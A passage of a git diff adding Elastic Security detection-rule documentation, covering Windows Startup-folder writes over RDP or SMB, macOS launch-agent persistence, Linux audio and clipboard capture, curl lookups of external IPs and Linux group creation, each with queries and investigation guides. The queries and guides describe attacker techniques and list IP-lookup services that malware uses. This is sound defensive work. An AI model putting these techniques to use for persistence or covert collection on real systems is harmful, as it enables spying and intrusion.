field match when current telemetry does not bind writer, artifact, and execution behavior together. +- Build exceptions from the minimum confirmed workflow pattern: the specific `file.path`, writer `process.name` or `process.pid`, `user.id`, `host.id`, and bounded later-execution or quiet-directory evidence that distinguishes the benign case. Avoid exceptions on the Startup folder path alone, on "mstsc.exe" alone, or on PID 4 alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the exact `file.path`, writer `process.name` or `process.pid`, `user.id`, `host.id`, and quiet-directory or later-execution evidence that established the bounded workflow. Create an exception only when that same evidence set distinguishes the benign workflow from remote Startup-folder abuse. +- If suspicious but unconfirmed, preserve a copy of the written Startup item, the Startup directory listing, and case exports for the relevant file events, writer process metadata, later execution records, user-host identifiers, and related-alert context before containment. +- Apply reversible containment before destructive action: quarantine the Startup item after preserving it, restrict further RDP or SMB administrative access to the host, or heighten monitoring on the affected `host.id`. Isolate the host only when later execution or related alerts show broader compromise and the host role can tolerate disruption. +- If confirmed malicious, record any later-executed process identifiers and command lines, preserve the Startup item and same-directory artifacts, then isolate the host when feasible, terminate malicious execution, and remove the Startup item, shortcuts, scripts, and staging artifacts identified during the investigation. +- Before deleting artifacts or resetting credentials, scope other hosts and accounts for the same `file.name`, `file.path`, writer `process.command_line`, or later `process.executable` pattern. Reset or reissue credentials only when related alerts or later execution indicate likely account misuse. +- Post-incident hardening: restrict unnecessary RDP drive redirection, tighten SMB administrative write access, monitor Startup folder changes on remote-access targets, and retain the file/process telemetry needed to distinguish repeat deployment workflows from repeat abuse. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type in ("creation", "change") and + + /* via RDP TSClient mounted share or SMB */ + (process.name : "mstsc.exe" or process.pid == 4) and + + file.path : ("?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", + "?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-launch-service-creation-and-immediate-loading.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-launch-service-creation-and-immediate-loading.asciidoc new file mode 100644 index 0000000000..3d0a112b14 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-launch-service-creation-and-immediate-loading.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-launch-service-creation-and-immediate-loading]] +=== Launch Service Creation and Immediate Loading + +An adversary can establish persistence by installing a new launch agent that executes at login by using launchd or launchctl to load a plist into the appropriate directories. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Launch Service Creation and Immediate Loading* + + +Launch Agents in macOS are used to execute scripts or applications automatically at user login, providing a mechanism for persistence. Adversaries exploit this by creating or modifying Launch Agents to execute malicious payloads. The detection rule identifies such activities by monitoring file changes in Launch Agent directories and subsequent immediate loading via `launchctl`, indicating potential unauthorized persistence attempts. + + +*Possible investigation steps* + + +- Review the file path where the modification or creation of the Launch Agent occurred to determine if it is in a system directory (e.g., /System/Library/LaunchAgents/) or a user directory (e.g., /Users/*/Library/LaunchAgents/). This can help assess the potential impact and scope of the change. +- Examine the contents of the newly created or modified plist file to identify the script or application it is configured to execute. Look for any suspicious or unexpected entries that could indicate malicious activity. +- Check the timestamp of the file modification event to correlate it with any known user activities or other system events that might explain the change. +- Investigate the process execution details of the launchctl command, including the user account under which it was executed and any associated parent processes, to determine if it aligns with legitimate administrative actions or if it appears suspicious. +- Search for any additional related alerts or logs around the same timeframe that might indicate further malicious behavior or corroborate the persistence attempt, such as other process executions or network connections initiated by the suspicious process. + + +*False positive analysis* + + +- System or application updates may create or modify Launch Agents as part of their installation or update process. Users can create exceptions for known and trusted applications by whitelisting their specific file paths or process names. +- User-installed applications that require background processes might use Launch Agents for legitimate purposes. Identify these applications and exclude their associated Launch Agent paths from monitoring. +- Administrative scripts or tools used by IT departments for system management might trigger this rule. Coordinate with IT to document these scripts and exclude their activities from detection. +- Development tools or environments that automatically configure Launch Agents for testing purposes can cause false positives. Developers should be aware of these activities and can exclude their specific development directories. +- Backup or synchronization software that uses Launch Agents to schedule tasks may be flagged. Verify these applications and exclude their Launch Agent paths if they are deemed safe. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further malicious activity or lateral movement. +- Terminate any suspicious processes associated with the unauthorized Launch Agent using Activity Monitor or the `kill` command in Terminal. +- Remove the malicious Launch Agent plist file from the affected directories: `/System/Library/LaunchAgents/`, `/Library/LaunchAgents/`, or `/Users/*/Library/LaunchAgents/`. +- Review and restore any system or application settings that may have been altered by the malicious Launch Agent. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes. +- Monitor the system for any signs of re-infection or further unauthorized changes to Launch Agents, ensuring that logging and alerting are configured to detect similar activities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=30s + [file where host.os.type == "macos" and event.action == "launch_daemon"] by process.entity_id + [process where host.os.type == "macos" and event.type in ("start", "process_started") and process.name == "launchctl" and process.args in ("load", "bootstrap")] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Launch Agent +** ID: T1543.001 +** Reference URL: https://attack.mitre.org/techniques/T1543/001/ +* Sub-technique: +** Name: Launch Daemon +** ID: T1543.004 +** Reference URL: https://attack.mitre.org/techniques/T1543/004/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Launchctl +** ID: T1569.001 +** Reference URL: https://attack.mitre.org/techniques/T1569/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-audio-recording-activity-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-audio-recording-activity-detected.asciidoc new file mode 100644 index 0000000000..377a79bc1b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-audio-recording-activity-detected.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-34-linux-audio-recording-activity-detected]] +=== Linux Audio Recording Activity Detected + +This rule monitors for the usage of the most common audio recording utilities on unix systems by an uncommon process parent. Adversaries may collect audio data from users or systems for a variety of reasons including espionage, credential theft, or reconnaissance. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Collection +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Linux Audio Recording Activity Detected* + + +This rule flags executions of Linux audio-recording tools (arecord, parec, pw-record, ecasound, pw-cat -r, ffmpeg) started by uncommon parent processes, signaling potential covert microphone capture. Attackers often drop a systemd service or cron job that silently invokes arecord or ffmpeg to record from default PulseAudio/PipeWire devices and stash WAV/MP3 files under user directories or stream them to a remote host. Capturing ambient audio can reveal passwords, meeting content, and sensitive conversations, aiding reconnaissance and espionage. + + +*Possible investigation steps* + + +- Examine the full process tree and session context (parent/grandparent, controlling TTY, logged-in user) to determine whether launch came from an expected desktop workflow versus non-interactive origins like cron, systemd, or ssh. +- Parse the command line to identify input device and output target, then hunt for created artifacts (WAV/MP3/OGG) under common stash paths (~/.cache, ~/.local/share, /tmp, /var/tmp, hidden directories) and verify timestamps and owner. +- If the command indicates streaming or piping, inspect recent outbound network connections and DNS from the process/user for RTMP/HTTP/SFTP endpoints and correlate with firewall or EDR flow logs to detect exfiltration. +- Check for persistence mechanisms that could re-invoke the recorder, including systemd user/system units and timers, cron/anacron entries, and shell scripts in autostart paths, and disable or quarantine any suspicious items. +- Review audio subsystem and device access evidence (audit logs for open/read on /dev/snd/* and PipeWire/PulseAudio logs showing record nodes) to confirm capture and identify the device and scope. + + +*False positive analysis* + + +- ffmpeg is executed with -i to read an existing media file for transcode or audio extraction, not to capture from a microphone, which satisfies the rule conditions but is routine multimedia processing. +- A legitimate systemd or cron job starts arecord/parec/pw-record/pw-cat -r to periodically sample audio for device diagnostics or content creation, resulting in an uncommon parent process yet expected outputs under user or application directories. + + +*Response and remediation* + + +- Immediately terminate arecord, parec, pw-record, ecasound, pw-cat -r, or ffmpeg processes launched by cron/systemd/ssh and stop any associated systemd units/timers, then block outbound RTMP/HTTP/SFTP connections from the recording user. +- Disable and remove persistence that invokes recording, including systemd .service/.timer files under /etc/systemd/system or ~/.config/systemd/user, cron entries in /etc/cron.* or user crontabs, and autostart scripts in ~/.config/autostart or /etc/xdg/autostart, and quarantine any unknown executables or wrappers in /tmp, /var/tmp, or hidden user directories that spawn these tools. +- Before cleanup, preserve the full command line and copies of recorded artifacts (WAV/MP3/OGG) located in ~/.cache, ~/.local/share, /tmp, /var/tmp, and hidden directories, then remove remaining audio files and staging folders after evidence collection. +- Verify recovery by confirming no active record nodes in PipeWire/PulseAudio and no further opens on /dev/snd/*, and restart affected user sessions or hosts if audio subsystem settings were altered. +- Harden by restricting access to /dev/snd/* via udev group membership and AppArmor/SELinux, whitelisting approved desktop apps, and adding detections to flag non-interactive parents launching arecord/ffmpeg or pw-cat -r and creation of large audio files in cache/temp paths. +- Escalate to incident response and privacy/legal if recording is initiated by a root-owned systemd service or an unknown binary in /tmp, or if audio streaming/exfiltration to external IPs/domains is observed. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:"linux" and event.type:"start" and event.action:("exec" or "exec_event" or "start") and ( + process.name:("arecord" or "parec" or "pw-record" or "ecasound") or + (process.name:"pw-cat" and process.args:"-r") or + (process.name:"ffmpeg" and process.args:"-i") +) and +not process.args:("-h" or "--help" or "--version") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Audio Capture +** ID: T1123 +** Reference URL: https://attack.mitre.org/techniques/T1123/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-clipboard-activity-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-clipboard-activity-detected.asciidoc new file mode 100644 index 0000000000..e3b5445014 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-clipboard-activity-detected.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-34-linux-clipboard-activity-detected]] +=== Linux Clipboard Activity Detected + +This rule monitors for the usage of the most common clipboard utilities on unix systems by an uncommon process parent. Adversaries may collect data stored in the clipboard from users copying information within or between applications. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.trellix.com/blogs/research/when-agents-go-rogue-openclaw-supply-chain-crisis/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Collection +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Linux Clipboard Activity Detected* + + +Clipboard utilities on Linux, such as xclip and xsel, facilitate data transfer between applications by storing copied content temporarily. Adversaries exploit this by capturing sensitive data copied by users. The detection rule identifies unusual clipboard activity by monitoring processes that start these utilities, excluding common parent processes, to flag potential misuse. This helps in identifying unauthorized data collection attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific process name that triggered the alert, focusing on clipboard utilities like xclip, xsel, wl-clipboard, clipman, or copyq. +- Examine the parent process of the detected clipboard utility to understand the context of its execution, ensuring it is not a common parent process like bwrap or micro. +- Investigate the user account associated with the process to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Check the timing and frequency of the clipboard utility's execution to assess if it coincides with any known user activities or if it suggests automated or unauthorized access. +- Analyze any related process events or logs around the time of the alert to identify potential data exfiltration attempts or other malicious activities. +- Consider correlating this alert with other security events or alerts to identify patterns or broader attack campaigns targeting clipboard data. + + +*False positive analysis* + + +- Frequent use of clipboard utilities by legitimate applications or scripts can trigger false positives. Identify and document these applications to create exceptions in the detection rule. +- Developers and system administrators often use clipboard utilities in automated scripts. Review and whitelist these scripts to prevent unnecessary alerts. +- Some desktop environments or window managers may use clipboard utilities as part of their normal operation. Monitor and exclude these processes if they are verified as non-threatening. +- Regular user activities involving clipboard utilities for productivity tasks can be mistaken for suspicious behavior. Educate users on safe practices and adjust the rule to exclude known benign parent processes. +- Consider the context of the clipboard utility usage, such as time of day or user role, to refine detection criteria and reduce false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential data exfiltration or further unauthorized access. +- Terminate any suspicious processes identified as running clipboard utilities without a common parent process, such as xclip or xsel, to stop potential data capture. +- Conduct a thorough review of recent clipboard activity logs to identify any sensitive data that may have been captured and assess the potential impact. +- Change passwords and rotate any credentials that may have been copied to the clipboard recently to mitigate the risk of credential theft. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring on the affected system to detect any further unauthorized clipboard activity or related suspicious behavior. +- Review and update endpoint security configurations to ensure that only authorized processes can access clipboard utilities, reducing the risk of future exploitation. + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:"linux" and event.type:"start" and +event.action:("exec" or "exec_event" or "executed" or "process_started" or "start") and +process.name:("xclip" or "xsel" or "wl-clipboard" or "clipman" or "copyq" or "pbcopy" or "wl-copy") and +not process.parent.name:("bwrap" or "micro") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Clipboard Data +** ID: T1115 +** Reference URL: https://attack.mitre.org/techniques/T1115/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-external-ip-address-discovery-via-curl.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-external-ip-address-discovery-via-curl.asciidoc new file mode 100644 index 0000000000..94f582237d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-external-ip-address-discovery-via-curl.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-linux-external-ip-address-discovery-via-curl]] +=== Linux External IP Address Discovery via Curl + +Detects applications making a curl request to a known public IP address lookup web service. Malware tends to perform this action to assess potential targets. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Threat: Download Tool Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Linux External IP Address Discovery via Curl* + + +This rule flags a Linux process that uses curl to contact public IP lookup sites, a common way malware learns the host’s internet-facing address before choosing follow-on actions. An attacker who gains shell access on a server or container may run curl against services like ifconfig.me or ipify, then use the returned address to verify outbound reachability, tailor command-and-control, or decide whether the system sits behind cloud or NAT infrastructure. + + +*Possible investigation steps* + + +- Trace the full process ancestry and nearby commands to determine whether the curl execution came from an interactive shell, scheduled task, deployment script, container entrypoint, or an unexpected program launched from a writable path. +- Review the invoked URL, arguments, working directory, and any captured output to determine whether the request was a one-off connectivity check or part of a broader script performing follow-on discovery, download, or beaconing. +- Correlate the activity with the initiating account, TTY/session details, recent SSH and sudo events, and change records to quickly separate approved administrator troubleshooting from suspicious post-compromise behavior. +- Pivot to surrounding network activity from the same host to identify repeated lookups, subsequent outbound connections to unfamiliar infrastructure, or signs of staging and command-and-control immediately after the public IP query. +- Inspect the parent script or binary on disk for recent creation or modification, unusual persistence mechanisms, and prevalence on peer systems to assess whether the behavior is tied to malware, a rogue change, or benign automation. + + +*False positive analysis* + + +- Legitimate startup, login-banner, or scheduled maintenance scripts may use curl to learn the host’s public IP for configuration or status display, so verify the parent script or service path is expected, recently approved, and consistently seen at boot or on a routine schedule. +- An administrator or engineer may manually run curl to a public IP lookup site during troubleshooting or deployment validation, so confirm the initiating user, TTY or session context, and shell history align with authorized activity and that no suspicious follow-on commands occurred. + + +*Response and remediation* + + +- Isolate the affected Linux host or container from the network immediately, allow only a secured management path, and preserve volatile evidence such as the running parent process, shell history, and the script or binary that launched curl. +- Terminate the malicious process chain and remove persistence by inspecting and cleaning cron jobs, systemd unit files, rc.local, user shell profiles, container entrypoints, SSH authorized_keys, and any attacker files staged in writable locations such as /tmp, /var/tmp, or /dev/shm. +- Rotate credentials and secrets exposed to the compromised system, including SSH keys, API tokens, cloud instance credentials, and application secrets found in scripts, environment files, or shell history. +- Restore the asset to a known-good state by rebuilding from a trusted image or clean backup and validating startup scripts, packages, and container images before returning the system to production. +- Escalate to incident response and broaden scoping across peer systems if the IP lookup was followed by downloads, reverse shells, new outbound connections to unfamiliar infrastructure, or if the same parent script, binary, or persistence artifact appears on multiple hosts. +- Harden the environment by restricting outbound curl access to approved destinations, blocking public IP lookup services where not needed, limiting execution from writable directories, and adding detections for unexpected systemd, cron, and shell-profile modifications. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and +process.name == "curl" and ( + process.parent.name like ".*" or process.parent.executable like ( + "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/opt/*", "/etc/*", "./*", "/run/user/*", "/var/run/user/*", + "/usr/bin/*", "/bin/*", "/usr/local/bin/*", "/sbin/*", "/usr/sbin/*", "/usr/local/sbin/*", + "/usr/lib/*", "/usr/local/lib/*", "/lib/*", "/lib64/*", "/usr/lib64/*", "/usr/local/lib64/*" + ) +) and +process.command_line like~ ( + "*ip-api.com*", "*checkip.dyndns.org*", "*api.ipify.org*", "*whatismyip.akamai.com*", "*bot.whatismyipaddress.com*", + "*ifcfg.me*", "*ifconfig.me*", "*ident.me*", "*ipof.in*", "*ip.tyk.nu*", "*icanhazip.com*", "*curlmyip.com*", + "*wgetip.com*", "*eth0.me*", "*ipecho.net*", "*ip.appspot.com*", "*api.myip.com*", "*geoiptool.com*", "*api.2ip.ua*", + "*api.ip.sb*", "*ipinfo.io*", "*checkip.amazonaws.com*", "*wtfismyip.com*", "*iplogger.*", "*freegeoip.net*", + "*freegeoip.app*", "*geoplugin.net*", "*myip.dnsomatic.com*", "*www.geoplugin.net*", + "*api64.ipify.org*", "*ip4.seeip.org*", "*.geojs.io*", "*portmap.io*", "*api.db-ip.com*", + "*geolocation-db.com*", "*httpbin.org*", "*myip.opendns.com*", "*ipv4.icanhazip.com*", "*ipv6.icanhazip.com*" +) and +not ( + process.parent.name in ("jamf", "make") or + process.parent.name in (".", "./alert_api_call.sh", "nvim", "teleport") or + process.parent.executable like ( + "/usr/local/bin/teleport", "/usr/local/bin/current_ip", "/tmp/go-build*", "/usr/bin/neofetch", + "/usr/bin/show-location-info", "/opt/tpot/bin/myip.sh", "/usr/sbin/sshd", "/tmp/newroot/var/quest/kace/scripts/*", + "./Linux_Inventory_Sheets.sh", "/opt/qvm/bin/update_info_qsuite", "/usr/lib/check_mk_agent/local/public_ip_check", + "/opt/teleport/system/bin/teleport", "/opt/Elastic/Endpoint/elastic-endpoint", "/etc/update-motd.d/motd.sh", + "/opt/coe/cadence/IC231/tools.lnx86/cda/bin/64bit/cda.exe", "/etc/update-motd.d/10-armbian-header", + "/opt/saltstack/salt/bin/python*", "/usr/bin/python*", "/usr/local/bin/detect-external-ip" + ) or + process.parent.args in ("/var/www/html/admin/modules/leucoalarm/scripts/system.php", "/etc/cont-init.d/50-ddns") or + ( + process.parent.executable == "/usr/bin/java" and + process.args like "/opt/streamsets-datacollector/libexec/bootstrap-libs/*" + ) or + process.parent.command_line == "runc init" or + ( + process.parent.executable == "/usr/bin/busybox" and + (process.parent.command_line == "sh /etc/cont-init.d/50-ddns" or process.working_directory == "/opt/outline-server") + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-group-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-group-creation.asciidoc new file mode 100644 index 0000000000..fedeb84899 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-group-creation.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-34-linux-group-creation]] +=== Linux Group Creation + +Identifies attempts to create a new group. Attackers may create new groups to establish persistence on a system. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-system.auth-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Linux Group Creation* + + +The `groupadd` and `addgroup` commands are used to create new user groups in Linux-based operating systems. + +Attackers may create new groups to maintain access to victim systems or escalate privileges by assigning a compromised account to 